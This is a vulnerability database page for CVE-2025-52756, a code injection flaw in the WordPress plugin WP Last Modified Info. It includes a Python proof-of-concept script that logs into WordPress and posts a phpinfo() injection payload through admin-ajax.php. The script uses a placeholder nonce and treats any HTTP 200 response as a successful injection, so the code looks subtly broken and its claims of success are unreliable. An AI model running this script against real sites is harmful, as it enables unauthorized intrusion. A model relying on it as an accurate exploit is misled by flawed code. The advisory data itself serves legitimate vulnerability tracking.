Security Vulnerability Report
中文
CVE-2025-52756 CVSS 7.4 HIGH

CVE-2025-52756

Published: 2025-10-22 15:15:46
Last Modified: 2026-04-15 00:35:42

Description

Improper Control of Generation of Code ('Code Injection') vulnerability in Sayan Datta WP Last Modified Info wp-last-modified-info allows Remote Code Inclusion.This issue affects WP Last Modified Info: from n/a through <= 1.9.4.

CVSS Details

CVSS Score
7.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

wp-last-modified-info <= 1.9.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-52756 PoC - WP Last Modified Info Code Injection # Target: WordPress with wp-last-modified-info plugin <= 1.9.4 target = sys.argv[1] if len(sys.argv) > 1 else 'http://target.com' username = sys.argv[2] if len(sys.argv) > 2 else 'attacker' password = sys.argv[3] if len(sys.argv) > 3 else 'password123' session = requests.Session() # Step 1: Login to WordPress login_url = f'{target}/wp-login.php' login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/' } print('[+] Logging in to WordPress...') login_resp = session.post(login_url, data=login_data) # Step 2: Inject malicious code via plugin settings inject_url = f'{target}/wp-admin/admin-ajax.php' inject_data = { 'action': 'wplm_save_settings', 'wplm_custom_html': "'; phpinfo(); //", # Malicious payload 'nonce': 'attacker_need_to_extract_valid_nonce' } print('[+] Attempting code injection...') try: resp = session.post(inject_url, data=inject_data, timeout=10) if 'phpinfo' in resp.text or resp.status_code == 200: print('[+] Injection successful!') else: print('[-] Injection may have failed') except Exception as e: print(f'[-] Error: {e}') print('[+] Check admin panel for executed code')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-52756", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:45.563", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Generation of Code ('Code Injection') vulnerability in Sayan Datta WP Last Modified Info wp-last-modified-info allows Remote Code Inclusion.This issue affects WP Last Modified Info: from n/a through <= 1.9.4."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.1, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wp-last-modified-info/vulnerability/wordpress-wp-last-modified-info-plugin-1-9-2-remote-code-execution-rce-vulnerability?_s_id=cve", "source": "[email protected]"}]}}